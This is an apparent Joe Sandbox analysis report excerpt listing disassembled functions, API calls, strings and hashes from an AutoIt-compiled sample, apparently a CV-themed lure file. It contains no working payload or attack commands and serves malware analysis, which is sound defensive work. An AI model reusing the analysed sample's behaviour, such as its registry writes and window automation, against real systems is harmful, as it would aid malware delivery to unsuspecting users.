Function 003CDBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 003CDBD6
GetDriveTypeW.KERNEL32(?,0041DC54,?,\\.\,0041DC00), ref: 003CDCC3
SetErrorMode.KERNEL32(00000000,0041DC54,?,\\.\,0041DC00), ref: 003CDE29

Strings

MMC, xrefs: 003CDDE7
FileBackedVirtual, xrefs: 003CDDF5
Unknown, xrefs: 003CDCE3, 003CDD8C
Virtual, xrefs: 003CDDEE
\\.\, xrefs: 003CDC2B
CDROM, xrefs: 003CDCF7
SSD, xrefs: 003CDD50
PhysicalDrive, xrefs: 003CDC67
USB, xrefs: 003CDDBD
iSCSI, xrefs: 003CDDCB
SCSI, xrefs: 003CDD93
Network, xrefs: 003CDD01
RAMDisk, xrefs: 003CDCED
SAS, xrefs: 003CDDD2
ATA, xrefs: 003CDDA1
1394, xrefs: 003CDDA8
Removable, xrefs: 003CDD15
RAID, xrefs: 003CDDC4
Fibre, xrefs: 003CDDB6
SATA, xrefs: 003CDDD9
Fixed, xrefs: 003CDD0B
SSA, xrefs: 003CDDAF
ATAPI, xrefs: 003CDD9A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 4f9e2a679a109b32daccceb1dfe6f1b84b12025bc26ef249a67049fcfe549e9a
Instruction ID: 7f5f9a7fa405791ce465b35a05d5beed0084fe770ba39b63adad1f7359fbd831
Opcode Fuzzy Hash: 4f9e2a679a109b32daccceb1dfe6f1b84b12025bc26ef249a67049fcfe549e9a
Instruction Fuzzy Hash: 365180306483019B8602EF24CC96F29F7A4FE58706F20686EB017DF692DA65ED45D746

Function 0038CC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0038CC68
__wcsnicmp.LIBCMT ref: 0038CC80
__wcsnicmp.LIBCMT ref: 0038CC98
__wcsnicmp.LIBCMT ref: 0038CCB0
__wcsnicmp.LIBCMT ref: 0038CCC8
__wcsnicmp.LIBCMT ref: 0038CCE0
__wcsnicmp.LIBCMT ref: 0038CCF8
__wcsnicmp.LIBCMT ref: 0038CD0C
__wcsnicmp.LIBCMT ref: 0038CD4D
__wcsnicmp.LIBCMT ref: 0038CD61
__wcsnicmp.LIBCMT ref: 0038CD75
__wcsnicmp.LIBCMT ref: 0038CD89

Strings

#comments-end, xrefs: 0038CD6F
#include, xrefs: 0038CCDA
Cannot parse #include, xrefs: 003F2FA1
#pragma compile, xrefs: 0038CC62
#requireadmin, xrefs: 0038CC92
#comments-start, xrefs: 0038CCF2, 0038CD47
Unterminated group of comments, xrefs: 003F2FB4
#OnAutoItStartRegister, xrefs: 0038CCAA
#cs, xrefs: 0038CD06, 0038CD5B
Bad directive syntax error, xrefs: 003F2ECB
#include-once, xrefs: 0038CCC2
#ce, xrefs: 0038CD83
#notrayicon, xrefs: 0038CC7A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: f79d747a94b90661dde5dea66dd957de27bb2ce563d42165321ac0b0b23ddde2
Instruction ID: 38bbd0b34b84c57ed5bfb749e1030bd10d1bdb4edbc40befff69eff6078e63d4
Opcode Fuzzy Hash: f79d747a94b90661dde5dea66dd957de27bb2ce563d42165321ac0b0b23ddde2
Instruction Fuzzy Hash: 3B81F170650309ABCB23BA64DD82FBB7768EF25300F145069F906AE186EB74DA45C3A5

Function 003E638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0041DC00), ref: 003E6449

Strings

ISCHECKED, xrefs: 003E6659
UNCHECK, xrefs: 003E66A1
EDITPASTE, xrefs: 003E675B
GETCURRENTLINE, xrefs: 003E6704
DELSTRING, xrefs: 003E6569
SHOWDROPDOWN, xrefs: 003E6500
SETCURRENTSELECTION, xrefs: 003E65D6
ISVISIBLE, xrefs: 003E6455
TABRIGHT, xrefs: 003E64BD
CHECK, xrefs: 003E668B
GETCURRENTSELECTION, xrefs: 003E6603
TABLEFT, xrefs: 003E64A7
GETLINE, xrefs: 003E678B
ISENABLED, xrefs: 003E648C
FINDSTRING, xrefs: 003E6596
SELECTSTRING, xrefs: 003E6626
ADDSTRING, xrefs: 003E6536
HIDEDROPDOWN, xrefs: 003E6520
CURRENTTAB, xrefs: 003E64DD
GETSELECTED, xrefs: 003E66C1
GETCURRENTCOL, xrefs: 003E6724
SENDCOMMANDID, xrefs: 003E67CA
GETLINECOUNT, xrefs: 003E66E4

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: fe33091dcec8a4a1c04b20e94cff8a0dc58d80a832e60e75982872f764f45700
Instruction ID: cf7158f7afcb61f68472a6217a4a7d652e25463c120aea67a001114ccc66795e
Opcode Fuzzy Hash: fe33091dcec8a4a1c04b20e94cff8a0dc58d80a832e60e75982872f764f45700
Instruction Fuzzy Hash: B4C1A3342043918BCB06EF11C552AAEB7A5BFA5384F044959F8965F7E2DB30ED4ACB42

Function 003ED575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 003ED5AE
SetTextColor.GDI32(?,?), ref: 003ED5B2
GetSysColorBrush.USER32(0000000F), ref: 003ED5C8
GetSysColor.USER32(0000000F), ref: 003ED5D3
CreateSolidBrush.GDI32(?), ref: 003ED5D8
GetSysColor.USER32(00000011), ref: 003ED5F0
CreatePen.GDI32(00000000,00000001,00743C00), ref: 003ED5FE
SelectObject.GDI32(?,00000000), ref: 003ED60F
SetBkColor.GDI32(?,00000000), ref: 003ED618
SelectObject.GDI32(?,?), ref: 003ED625
InflateRect.USER32(?,000000FF,000000FF), ref: 003ED644
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 003ED65B
GetWindowLongW.USER32(00000000,000000F0), ref: 003ED670
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 003ED698
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 003ED6BF
InflateRect.USER32(?,000000FD,000000FD), ref: 003ED6DD
DrawFocusRect.USER32(?,?), ref: 003ED6E8
GetSysColor.USER32(00000011), ref: 003ED6F6
SetTextColor.GDI32(?,00000000), ref: 003ED6FE
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 003ED712
SelectObject.GDI32(?,003ED2A5), ref: 003ED729
DeleteObject.GDI32(?), ref: 003ED734
SelectObject.GDI32(?,?), ref: 003ED73A
DeleteObject.GDI32(?), ref: 003ED73F
SetTextColor.GDI32(?,?), ref: 003ED745
SetBkColor.GDI32(?,?), ref: 003ED74F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 5da1ab36a32b124b170bc7672c7d0fa001318da53f6ec1b1c1883718ab390887
Instruction ID: e2b10e395fb61a904828547a529631ecfa727b7b06968e34f3077979df6c5103
Opcode Fuzzy Hash: 5da1ab36a32b124b170bc7672c7d0fa001318da53f6ec1b1c1883718ab390887
Instruction Fuzzy Hash: DE515A71D00218BFDF119FA9DD48EAE7B79EB08324F114625FA15BB2E0D7719A40CB50

Function 003EB6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 003EB7B0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003EB7C1
CharNextW.USER32(0000014E), ref: 003EB7F0
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 003EB831
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 003EB847
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003EB858
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 003EB875
SetWindowTextW.USER32(?,0000014E), ref: 003EB8C7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 003EB8DD
SendMessageW.USER32(?,00001002,00000000,?), ref: 003EB90E
_memset.LIBCMT ref: 003EB933
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 003EB97C
_memset.LIBCMT ref: 003EB9DB
SendMessageW.USER32 ref: 003EBA05
SendMessageW.USER32(?,00001074,?,00000001), ref: 003EBA5D
SendMessageW.USER32(?,0000133D,?,?), ref: 003EBB0A
InvalidateRect.USER32(?,00000000,00000001), ref: 003EBB2C
GetMenuItemInfoW.USER32(?), ref: 003EBB76
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003EBBA3
DrawMenuBar.USER32(?), ref: 003EBBB2
SetWindowTextW.USER32(?,0000014E), ref: 003EBBDA

Strings

0, xrefs: 003EBB4F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 3d20b9fcc0a48be9d8694303702bcd45f94cea2337526ecb16e9924630c1ca3b
Instruction ID: a065163cfc501c2a826bcbace1cdc8e42a6933b503500551e1df9a6fe7870ad2
Opcode Fuzzy Hash: 3d20b9fcc0a48be9d8694303702bcd45f94cea2337526ecb16e9924630c1ca3b
Instruction Fuzzy Hash: 3BE17F75900269ABDF239FA6CC84EEFBB78EF05710F108266F919AA1D1D7708945CF60

Function 00382EC0 Relevance: 37.1, APIs: 8, Strings: 13, Instructions: 346COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00382F7A
IsWindow.USER32(?), ref: 003F22FD

Strings

LAST, xrefs: 003F20B6
REGEXPCLASS, xrefs: 003F2149
TITLE, xrefs: 003F2292
ACTIVE, xrefs: 003F20CC
H+C, xrefs: 003F2184
CLASS, xrefs: 003F2128
INSTANCE, xrefs: 003F223C
HANDLE, xrefs: 003F20E2
P+C, xrefs: 003F21E0
REGEXPTITLE, xrefs: 003F20F8
T+C, xrefs: 003F220E
L+C, xrefs: 003F21B2
ALL, xrefs: 003F2264

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Foreground
String ID: ACTIVE$ALL$CLASS$H+C$HANDLE$INSTANCE$L+C$LAST$P+C$REGEXPCLASS$REGEXPTITLE$T+C$TITLE
API String ID: 62970417-3904684051
Opcode ID: 09f4c29f42c74347326d684bbde0d6e22397a4e63359d16ddcdf6e2ea8997c48
Instruction ID: c33ecc440e41f27e9978f2c5fbad38f81246bc499526817dd6bb51479005d7a6
Opcode Fuzzy Hash: 09f4c29f42c74347326d684bbde0d6e22397a4e63359d16ddcdf6e2ea8997c48
Instruction Fuzzy Hash: C3D11730504706EBCB06EF20C9819ABFBB4BF54304F104E59F5969B6A1DB34E99ACF91

Function 003E764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 003E778A
GetDesktopWindow.USER32 ref: 003E779F
GetWindowRect.USER32(00000000), ref: 003E77A6
GetWindowLongW.USER32(?,000000F0), ref: 003E7808
DestroyWindow.USER32(?), ref: 003E7834
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 003E785D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003E787B
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 003E78A1
SendMessageW.USER32(?,00000421,?,?), ref: 003E78B6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 003E78C9
IsWindowVisible.USER32(?), ref: 003E78E9
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 003E7904
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 003E7918
GetWindowRect.USER32(?,?), ref: 003E7930
MonitorFromPoint.USER32(?,?,00000002), ref: 003E7956
GetMonitorInfoW.USER32 ref: 003E7970
CopyRect.USER32(?,?), ref: 003E7987
SendMessageW.USER32(?,00000412,00000000), ref: 003E79F2

Strings

(, xrefs: 003E7965
0, xrefs: 003E7735
tooltips_class32, xrefs: 003E7856

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 29ed96d80a14cd2f83ef7cfd36ff99e06aa75e04633b178c6f6d8f6feebcea08
Instruction ID: 629923675ba31bdda484ecfd6839d3312d7fdd4e58d0bed893785eec9016cd30
Opcode Fuzzy Hash: 29ed96d80a14cd2f83ef7cfd36ff99e06aa75e04633b178c6f6d8f6feebcea08
Instruction Fuzzy Hash: 26B1BF71608350AFDB05DF65C949B6ABBE4FF88310F008A1DF599AB291DB70EC05CB96

Function 0039A856 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0039A939
GetSystemMetrics.USER32(00000007), ref: 0039A941
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0039A96C
GetSystemMetrics.USER32(00000008), ref: 0039A974
GetSystemMetrics.USER32(00000004), ref: 0039A999
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 0039A9B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 0039A9C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0039A9F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0039AA0D
GetClientRect.USER32(00000000,000000FF), ref: 0039AA2B
GetStockObject.GDI32(00000011), ref: 0039AA47
SendMessageW.USER32(00000000,00000030,00000000), ref: 0039AA52

Part of subcall function 0039B63C: GetCursorPos.USER32(000000FF), ref: 0039B64F
Part of subcall function 0039B63C: ScreenToClient.USER32(00000000,000000FF), ref: 0039B66C
Part of subcall function 0039B63C: GetAsyncKeyState.USER32(00000001), ref: 0039B691
Part of subcall function 0039B63C: GetAsyncKeyState.USER32(00000002), ref: 0039B69F

SetTimer.USER32(00000000,00000000,00000028,0039AB87), ref: 0039AA79

Strings

AutoIt v3 GUI, xrefs: 0039A9F1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 3e4ceffdf3f00f380042e88d856d34fbae2b2b3dd6ed228f196bac283930f6a6
Instruction ID: fbdf045699d882dfb7297a57dc728a55cc7102341ddcb02a46316de4cbfb7060
Opcode Fuzzy Hash: 3e4ceffdf3f00f380042e88d856d34fbae2b2b3dd6ed228f196bac283930f6a6
Instruction Fuzzy Hash: B1B1AF71A0020AAFDF15DFA8DD49BAE7BB5FB08310F124229FA05A72A0DB74D840CF55

Function 003E3639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003E3735
RegCreateKeyExW.ADVAPI32(?,?,00000000,0041DC00,00000000,?,00000000,?,?), ref: 003E37A3
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 003E37EB
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 003E3874
RegCloseKey.ADVAPI32(?), ref: 003E3B94
RegCloseKey.ADVAPI32(00000000), ref: 003E3BA1

Strings

REG_QWORD, xrefs: 003E3AE2
REG_DWORD, xrefs: 003E3A65
REG_SZ, xrefs: 003E38B2
REG_MULTI_SZ, xrefs: 003E395C
REG_EXPAND_SZ, xrefs: 003E3811
REG_BINARY, xrefs: 003E3B2F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 040f3e5f43c4f7c013b52d0e2ef631272b28915402a4ae0c95082f223332d4a5
Instruction ID: 41bd10e458033366036241b8862bbcea0744d68aa4e5961a52c75cf9a048c1eb
Opcode Fuzzy Hash: 040f3e5f43c4f7c013b52d0e2ef631272b28915402a4ae0c95082f223332d4a5
Instruction Fuzzy Hash: 37028A756047119FCB16EF25C885A2AB7E5FF88720F05859DF88A9B3A1CB30ED01CB85

Function 003E6BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 003E6C56
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 003E6D16

Strings

GETSUBITEMCOUNT, xrefs: 003E6CA1
GETITEMCOUNT, xrefs: 003E6C84
GETSELECTEDCOUNT, xrefs: 003E6CF9
GETTEXT, xrefs: 003E6CBF
SELECTALL, xrefs: 003E6D75
SELECT, xrefs: 003E6DA8
SELECTCLEAR, xrefs: 003E6D8D
VIEWCHANGE, xrefs: 003E6ECD
DESELECT, xrefs: 003E6DFC
FINDITEM, xrefs: 003E6E81
SELECTINVERT, xrefs: 003E6DDE
GETSELECTED, xrefs: 003E6E3C
ISSELECTED, xrefs: 003E6D21

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 23b9622aca6369ae3f25a3fa6986009ce30ceb6e190c3c89aef0ef306d59e3ad
Instruction ID: 738bd2caea9a1af78331aef7d9f414acd7be99c28c53c780b4e52042b2d39bf5
Opcode Fuzzy Hash: 23b9622aca6369ae3f25a3fa6986009ce30ceb6e190c3c89aef0ef306d59e3ad
Instruction Fuzzy Hash: 31A170702043919BCB16EF21C952AABB3A5BF94354F144A6DF8A65F7D2DB30EC06CB41

Function 003BCF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 003BCF91
__swprintf.LIBCMT ref: 003BD032
_wcscmp.LIBCMT ref: 003BD045
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 003BD09A
_wcscmp.LIBCMT ref: 003BD0D6
GetClassNameW.USER32(?,?,00000400), ref: 003BD10D
GetDlgCtrlID.USER32(?), ref: 003BD15F
GetWindowRect.USER32(?,?), ref: 003BD195
GetParent.USER32(?), ref: 003BD1B3
ScreenToClient.USER32(00000000), ref: 003BD1BA
GetClassNameW.USER32(?,?,00000100), ref: 003BD234
_wcscmp.LIBCMT ref: 003BD248
GetWindowTextW.USER32(?,?,00000400), ref: 003BD26E
_wcscmp.LIBCMT ref: 003BD282

Strings

%s%u, xrefs: 003BD02C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
String ID: %s%u
API String ID: 3119225716-679674701
Opcode ID: 49288c2147cd6536641f10f8f17c111954c108adfbf788b5d6667fc50efca654
Instruction ID: fcfa49eabfd4dbd53e84d8274a525bbe3fef6ef9896265cc997b446e485f5dcf
Opcode Fuzzy Hash: 49288c2147cd6536641f10f8f17c111954c108adfbf788b5d6667fc50efca654
Instruction Fuzzy Hash: E0A1F231604746AFD716DF64C884FEAB7A8FF44318F008929FA99D7590EB30E945CB91

Function 003BD8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 003BD8EB
_wcscmp.LIBCMT ref: 003BD8FC
GetWindowTextW.USER32(00000001,?,00000400), ref: 003BD924
CharUpperBuffW.USER32(?,00000000), ref: 003BD941
_wcscmp.LIBCMT ref: 003BD95F
_wcsstr.LIBCMT ref: 003BD970
GetClassNameW.USER32(00000018,?,00000400), ref: 003BD9A8
_wcscmp.LIBCMT ref: 003BD9B8
GetWindowTextW.USER32(00000002,?,00000400), ref: 003BD9DF
GetClassNameW.USER32(00000018,?,00000400), ref: 003BDA28
_wcscmp.LIBCMT ref: 003BDA38
GetClassNameW.USER32(00000010,?,00000400), ref: 003BDA60
GetWindowRect.USER32(00000004,?), ref: 003BDAC9

Strings

ThumbnailClass, xrefs: 003BD9B3, 003BDA33
@, xrefs: 003BD8C6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
